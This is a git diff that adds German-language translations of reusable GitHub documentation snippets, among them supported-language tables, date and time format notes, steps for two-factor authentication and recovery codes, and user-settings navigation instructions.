+++ b/translations/de-DE/data/reusables/supported-languages/products-table-header.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 855dcf554f67567fc149ca51ae5cfc7d8cfead62
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108323"
+---
+{% ifversion fpt or ghec %}| [GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot#about-github-copilot) | [Codenavigation](/github/managing-files-in-a-repository/navigating-code-on-github) | [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Abhängigkeitsdiagramm, {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-the-dependency-graph#supported-package-ecosystems) | [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | | :-- | :-: | :-: | :-: | :-: | :-: | :-: | :-: |{% elsif ghes %}| [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Abhängigkeitsdiagramm, {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems) {% ifversion ghes %}| [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems){% endif %} | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | | :-- | :-: | :-: {% ifversion ghes %}| :-: {% endif %}| :-: | :-: |{% elsif ghae %}| [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | | :-- | :-: | :-: | :-: |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/python.md b/translations/de-DE/data/reusables/supported-languages/python.md
new file mode 100644
index 0000000000..db6df60267
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/python.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 573fee24da9649d438586ecd965ab92d32b72975
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108278"
+---
+| Python {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} <br>precise| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>pip | {% octicon "check" aria-label="The check icon" %}<br>pip | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>pip | {% octicon "check" aria-label="The check icon" %}<br>pip | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/ruby.md b/translations/de-DE/data/reusables/supported-languages/ruby.md
new file mode 100644
index 0000000000..8e7756ce99
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/ruby.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7609bd15d8e77a5da778cfb3a4acd21ea7884e46
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109374"
+---
+| Ruby {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>RubyGems | {% octicon "check" aria-label="The check icon" %}<br>RubyGems | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>RubyGems |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %}<br>RubyGems | {% octicon "check" aria-label="The check icon" %}<br>RubyGems | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>RubyGems |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>RubyGems |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/scala.md b/translations/de-DE/data/reusables/supported-languages/scala.md
new file mode 100644
index 0000000000..a0ede471f4
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/scala.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c1e20c1cde879e2c9459ea5f60cd2648d4b6a465
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109369"
+---
+| Scala {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %}<br>Maven | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle | {% octicon "check" aria-label="The check icon" %}<br>Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %}<sup>1</sup> | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %}
diff --git a/translations/de-DE/data/reusables/supported-languages/typescript.md b/translations/de-DE/data/reusables/supported-languages/typescript.md
new file mode 100644
index 0000000000..7f85006ca8
--- /dev/null
+++ b/translations/de-DE/data/reusables/supported-languages/typescript.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6128eeee4e46b139b78ce717ed3723ba0dbba3ba
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109249"
+---
+| TypeScript {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm, Yarn | {% octicon "check" aria-label="The check icon" %}<br>npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm, Yarn | {% octicon "check" aria-label="The check icon" %}<br>npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}<br>npm |{% endif %}
diff --git a/translations/de-DE/data/reusables/time_date/date_format.md b/translations/de-DE/data/reusables/time_date/date_format.md
new file mode 100644
index 0000000000..f5d36a573e
--- /dev/null
+++ b/translations/de-DE/data/reusables/time_date/date_format.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6ff3758774dfe499c542c47a0073b7b21235fbf2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133717"
+---
+Die Datumsformatierung muss dem [ISO8601](http://en.wikipedia.org/wiki/ISO_8601)-Standard entsprechen: `YYYY-MM-DD` (Jahr-Monat-Tag).
diff --git a/translations/de-DE/data/reusables/time_date/time_format.md b/translations/de-DE/data/reusables/time_date/time_format.md
new file mode 100644
index 0000000000..3b8d0c1c34
--- /dev/null
+++ b/translations/de-DE/data/reusables/time_date/time_format.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4efcbf3a86bc0d1de37133a86fbc762feaf3ed7c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130570"
+---
+Du kannst nach dem Datum auch optionale Zeitinformationen im Format `THH:MM:SS+00:00` hinzufügen, um nach Stunde, Minute und Sekunde zu suchen. Das heißt, `T`, gefolgt von `HH:MM:SS` (Stunden-Minuten-Sekunden) und einem UTC-Offset (`+00:00`). 
diff --git a/translations/de-DE/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md b/translations/de-DE/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md
new file mode 100644
index 0000000000..b1f7145cbe
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b8ac6e97c1d25bae7c1ab7af2b7f18ba4e90c498
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145134014"
+---
+Auf der {% data variables.product.prodname_ghe_server %}-Appliance weder unterstützt noch verwaltet, aber möglicherweise durch einen externen Authentifizierungsanbieter unterstützt. Die Erzwingung der Zwei-Faktor-Authentifizierung für Organisationen ist nicht verfügbar.
diff --git a/translations/de-DE/data/reusables/two_fa/about-2fa.md b/translations/de-DE/data/reusables/two_fa/about-2fa.md
new file mode 100644
index 0000000000..41ae7deb9b
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/about-2fa.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: df1550dc5c5644a6bcbe05a67b1a65a8294f8681
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132604"
+---
+Die zweistufige Authentifizierung (oder 2FA) ist eine zusätzliche Sicherheitsebene, die bei der Anmeldung bei Websites oder Apps verwendet wird.
diff --git a/translations/de-DE/data/reusables/two_fa/about-recovery-codes.md b/translations/de-DE/data/reusables/two_fa/about-recovery-codes.md
new file mode 100644
index 0000000000..5a32a21709
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/about-recovery-codes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9e93bc4d51072ff4d76b036f16f92b5c34509c35
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104579"
+---
+Wenn Du Zwei-Faktor-Authentifizierung konfigurierst, wirst Du Deine 2FA-Wiederherstellungscodes herunterladen und speichern. Wenn Du den Zugriff auf Dein Telefon verlierst, kannst Du Dich mit Deinen Wiederherstellungscodes bei {% data variables.product.product_name %} authentifizieren.
diff --git a/translations/de-DE/data/reusables/two_fa/after-2fa-add-security-key.md b/translations/de-DE/data/reusables/two_fa/after-2fa-add-security-key.md
new file mode 100644
index 0000000000..f88f4fbed7
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/after-2fa-add-security-key.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c1da48d511a07b94da622dbb617ffe37cac10e34
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145088499"
+---
+Nachdem du 2FA konfiguriert hast, kannst du über eine mobile App für zeitbasierte Einmalkennwörter (TOTP){% ifversion fpt or ghec %} oder per SMS{% endif %} einen Sicherheitsschlüssel hinzufügen, z. B. einen Fingerabdruckleser oder Windows Hello. Die Technologie, die die Authentifizierung mit einem Sicherheitsschlüssel ermöglicht, wird als WebAuthn bezeichnet. WebAuthn ist der Nachfolger von U2F und arbeitet in allen modernen Browsern. Weitere Informationen findest du unter [WebAuthn](https://webauthn.guide/) und [Can I Use](https://caniuse.com/#search=webauthn).
diff --git a/translations/de-DE/data/reusables/two_fa/auth_methods_2fa.md b/translations/de-DE/data/reusables/two_fa/auth_methods_2fa.md
new file mode 100644
index 0000000000..6e8f787d4f
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/auth_methods_2fa.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 005667bae249af732a73e5afc53e7dcd7ae436fe
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145088491"
+---
+{% ifversion ghes %}
+### Authentifizierungsmethoden, die 2FA unterstützen
+
+| Authentifizierungsmethode | BESCHREIBUNG  | Unterstützung der Zwei-Faktor-Authentifizierung |
+|-----------------------|--------------|-----------------------------------|
+| Integriert | Die Authentifizierung erfolgt über persönliche Konten, die in der {% data variables.product.prodname_ghe_server %}-Appliance gespeichert sind. | Wird in der {% data variables.product.prodname_ghe_server %}-Appliance unterstützt und verwaltet. Organisationsadministratoren können vorschreiben, dass die Zwei-Faktor-Authentifizierung für Mitglieder der Organisation aktiviert werden muss. |{% ifversion ghes %}
+| Integrierte Authentifizierung mit einem Identitätsanbieter| Die Authentifizierung erfolgt über persönliche Konten, die beim Identitätsanbieter gespeichert sind. | Ist vom Identitätsanbieter abhängig.{% endif %}
+| LDAP | Erlaubt die Integration in Deinen Unternehmens-Verzeichnisdienst für Authentifizierung. | Wird in der {% data variables.product.prodname_ghe_server %}-Appliance unterstützt und verwaltet. Organisationsadministratoren können vorschreiben, dass die Zwei-Faktor-Authentifizierung für Mitglieder der Organisation aktiviert werden muss. |
+| SAML | Die Authentifizierung erfolgt über einen externen Identitätsanbieter. | {% data reusables.two_fa.2fa_not_supported_with_saml_and_cas %} |
+| CAS | Der Single Sign-On-Dienst wird von einem externen Server bereitgestellt. | {% data reusables.two_fa.2fa_not_supported_with_saml_and_cas %}{% endif %}
diff --git a/translations/de-DE/data/reusables/two_fa/enable-two-factor-authentication.md b/translations/de-DE/data/reusables/two_fa/enable-two-factor-authentication.md
new file mode 100644
index 0000000000..14c5b07f48
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/enable-two-factor-authentication.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2c087fd3a144fbb5fb7afd789cac11eb8682832a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133714"
+---
+1. Klicke unter „Zweistufige Authentifizierung“ auf **Zweistufige Authentifizierung aktivieren**.
+![Option „Zweistufige Authentifizierung aktivieren“](/assets/images/help/2fa/enable-two-factor-authentication-dialoge.png)
diff --git a/translations/de-DE/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md b/translations/de-DE/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md
new file mode 100644
index 0000000000..7c79354204
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6291fe3deac6f4b03b60b9b23ee03b168a4a3820
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130569"
+---
+8. Klicke unter „Wiederherstellungscodes speichern“ auf **Herunterladen**, um deine Wiederherstellungscodes auf dein Gerät herunterzuladen. Deine Wiederherstellungscodes können dir dabei helfen, den Zugriff auf dein Konto wiederzuerlangen, falls du nicht mehr darauf zugreifen kannst. Speichere sie daher an einem sicheren Ort. 
+  ![Liste der herunterzuladenden Wiederherstellungscodes](/assets/images/help/2fa/2fa_wizard_download_recovery_codes.png)
+9. Klicke nach dem Speichern deiner Wiederherstellungscodes für die zweistufige Authentifizierung auf **Ich habe meine Wiederherstellungscodes gespeichert.** , um die zweistufige Authentifizierung für dein Konto zu aktivieren.
diff --git a/translations/de-DE/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md b/translations/de-DE/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md
new file mode 100644
index 0000000000..5fd980dad2
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6a2f70006097494a9f93b3230108c9a9b359cbe7
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876850"
+---
+{% ifversion fpt or ghec %} Wenn ein Benutzer aus deiner Organisation entfernt wurde, weil du festgelegt hast, dass Mitglieder und externe Mitarbeiter die zweistufige Authentifizierung aktivieren müssen, kannst du ihm eine Einladung senden, um die Berechtigungen und den Organisationszugriff des Benutzers wiederherzustellen, bevor er die zweistufige Authentifizierung aktiviert hat. Der Benutzer muss jedoch die zweistufige Authentifizierung aktivieren, damit er deine Einladung zum erneuten Beitritt zur Organisation annehmen kann.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/two_fa/show-recovery-codes.md b/translations/de-DE/data/reusables/two_fa/show-recovery-codes.md
new file mode 100644
index 0000000000..4baccec36f
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/show-recovery-codes.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 032741566750be6bc8f5baabef25e99ae1c14af5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145085543"
+---
+1. Klicke neben „Wiederherstellungscodes“ auf **Anzeigen**.
+![Schaltfläche „Wiederherstellungscodes anzeigen“](/assets/images/help/2fa/show-recovery-codes-button.png)
diff --git a/translations/de-DE/data/reusables/two_fa/support-may-not-help.md b/translations/de-DE/data/reusables/two_fa/support-may-not-help.md
new file mode 100644
index 0000000000..f1ea8fb0cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/support-may-not-help.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6ec36a5fcbcd26119fa8bf85514fc1236e23bef9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145131306"
+---
+Aus Sicherheitsgründen kann {% data variables.product.product_name %} Support den Zugriff auf Konten mit aktivierter Zwei-Faktor-Authentifizierung möglicherweise nicht wiederherstellen, wenn Sie Ihre Anmeldeinformationen für die Zwei-Faktor-Authentifizierung oder den Zugriff auf Ihre Methoden zur Kontowiederherstellung verlieren.
diff --git a/translations/de-DE/data/reusables/two_fa/test_2fa_immediately.md b/translations/de-DE/data/reusables/two_fa/test_2fa_immediately.md
new file mode 100644
index 0000000000..d0641fef11
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/test_2fa_immediately.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ea144230f2b9838bf8b929da92f0e03dfe5f3687
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134458"
+---
+1. Nachdem Du Deine Wiederherstellungscodes gespeichert und 2FA aktiviert hast, empfehlen wir Dir, Dich abzumelden und wieder bei Deinem Konto anzumelden. Bei Problemen wie einem vergessenen Passwort oder einem Tippfehler in Deiner E-Mail-Adresse kannst Du Wiederherstellungscodes verwenden, um auf Dein Konto zuzugreifen und das Problem zu beheben.
diff --git a/translations/de-DE/data/reusables/two_fa/username-password.md b/translations/de-DE/data/reusables/two_fa/username-password.md
new file mode 100644
index 0000000000..1d9271850a
--- /dev/null
+++ b/translations/de-DE/data/reusables/two_fa/username-password.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9b6accbad773f36d2690e08bfa3d8b52497c9c4a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134453"
+---
+1. Gib Deinen Benutzernamen und Dein Passwort ein, um die Authentifizierung durchzuführen.
diff --git a/translations/de-DE/data/reusables/user-settings/about-commit-email-addresses.md b/translations/de-DE/data/reusables/user-settings/about-commit-email-addresses.md
new file mode 100644
index 0000000000..b78da1279e
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/about-commit-email-addresses.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 71d3f013789ce9566819b653e7eb61459abc995e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134450"
+---
+Weitere Informationen zu Commit-E-Mail-Adressen,{% ifversion fpt or ghec %} einschließlich deiner `noreply`-E-Mail-Adresse für {% data variables.product.product_name %},{% endif %} findest du unter [Festlegen deiner Commit-E-Mail-Adresse](/articles/setting-your-commit-email-address).
diff --git a/translations/de-DE/data/reusables/user-settings/access_applications.md b/translations/de-DE/data/reusables/user-settings/access_applications.md
new file mode 100644
index 0000000000..7c28e18227
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/access_applications.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the "Integrations" section of the sidebar, click **{% octicon "apps" aria-label="The apps icon" %} Applications**.
+{% else %}
+1. In the left sidebar, click **Applications**.
+![Applications tab](/assets/images/help/settings/settings-applications.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/access_authorized_oauth_apps.md b/translations/de-DE/data/reusables/user-settings/access_authorized_oauth_apps.md
new file mode 100644
index 0000000000..f0a98fba9a
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/access_authorized_oauth_apps.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 28b91d351a96765de2ce7f092d2a7ac2e313c2ab
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130565"
+---
+1. Klicke auf die Registerkarte **Autorisierte OAuth-Apps**. ![Registerkarte „Autorisierte OAuth-Apps“](/assets/images/help/settings/settings-authorized-oauth-apps-tab.png)
diff --git a/translations/de-DE/data/reusables/user-settings/access_org.md b/translations/de-DE/data/reusables/user-settings/access_org.md
new file mode 100644
index 0000000000..09db962247
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/access_org.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f4583cb5513caa7f01ed5a305daf27c24af3596d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145130562"
+---
+2. Klicke auf den Namen Deiner Organisation.
+  ![Organisationsname in Liste der Organisationen](/assets/images/help/organizations/org-settings-link.png)
diff --git a/translations/de-DE/data/reusables/user-settings/access_settings.md b/translations/de-DE/data/reusables/user-settings/access_settings.md
new file mode 100644
index 0000000000..a15131ea83
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/access_settings.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 314a0768350088c3b197da8e55e631030232b6b1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130554"
+---
+1. Klicken Sie auf einer beliebigen Seite in der oberen rechten Ecke auf Ihr Profilfoto und anschließend auf **Einstellungen**. 
+
+   ![Symbol „Settings" (Einstellungen) auf der Benutzerleiste](/assets/images/help/settings/userbar-account-settings.png)
diff --git a/translations/de-DE/data/reusables/user-settings/accessibility_settings.md b/translations/de-DE/data/reusables/user-settings/accessibility_settings.md
new file mode 100644
index 0000000000..02fd6b7377
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/accessibility_settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 37bb6860bfe88309705547b8264a7fec881622ac
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145130553"
+---
+1. Klicke in der linken Randleiste auf **{% octicon "accessibility" aria-label="The accessibility icon" %} Barrierefreiheit**.
diff --git a/translations/de-DE/data/reusables/user-settings/account_settings.md b/translations/de-DE/data/reusables/user-settings/account_settings.md
new file mode 100644
index 0000000000..6b28a06928
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/account_settings.md
@@ -0,0 +1,6 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, click **{% octicon "gear" aria-label="The gear icon" %} Account**.
+{% else %}
+1. In the left sidebar, click **Account**.
+![Account settings menu option](/assets/images/help/settings/settings-sidebar-account-settings.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/add_and_verify_email.md b/translations/de-DE/data/reusables/user-settings/add_and_verify_email.md
new file mode 100644
index 0000000000..220a80fe23
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/add_and_verify_email.md
@@ -0,0 +1,5 @@
+{% ifversion not ghae %}
+1. In "Add email address", type your email address and click **Add**.
+   ![Email addition button](/assets/images/help/settings/add-email-address.png){% ifversion fpt or ghec %}
+2. [Verify your email address](/articles/verifying-your-email-address).{% endif %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/appearance-settings.md b/translations/de-DE/data/reusables/user-settings/appearance-settings.md
new file mode 100644
index 0000000000..d85aea5bd5
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/appearance-settings.md
@@ -0,0 +1,7 @@
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, click **{% octicon "paintbrush" aria-label="The paintbrush icon" %} Appearance**.
+{% else %}
+1. In the user settings sidebar, click **Appearance**.
+
+   !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png)
+{% endif %}
diff --git a/translations/de-DE/data/reusables/user-settings/automatic_watching_box.md b/translations/de-DE/data/reusables/user-settings/automatic_watching_box.md
new file mode 100644
index 0000000000..c307db8a07
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/automatic_watching_box.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 186f69c820203bcdf81cf2186c69cc0132a819ff
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101436"
+---
+1. Unter „Automatic watching" (Automatisches Beobachten),
diff --git a/translations/de-DE/data/reusables/user-settings/billing_plans.md b/translations/de-DE/data/reusables/user-settings/billing_plans.md
new file mode 100644
index 0000000000..c6174836c4
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/billing_plans.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4814578cdec953a06ccadf7f44cfdbf9830d6400
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101435"
+---
+1. Klicke im Abschnitt „Zugriff“ der Randleiste auf **{% octicon "credit-card" aria-label="The credit-card icon" %} Abrechnung und Pläne**.
diff --git a/translations/de-DE/data/reusables/user-settings/blocked_users.md b/translations/de-DE/data/reusables/user-settings/blocked_users.md
new file mode 100644
index 0000000000..676e9ce048
--- /dev/null
+++ b/translations/de-DE/data/reusables/user-settings/blocked_users.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5a3ac0750ebb5f43d72c94be5bd87e53d3a35e07
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101432"
+---
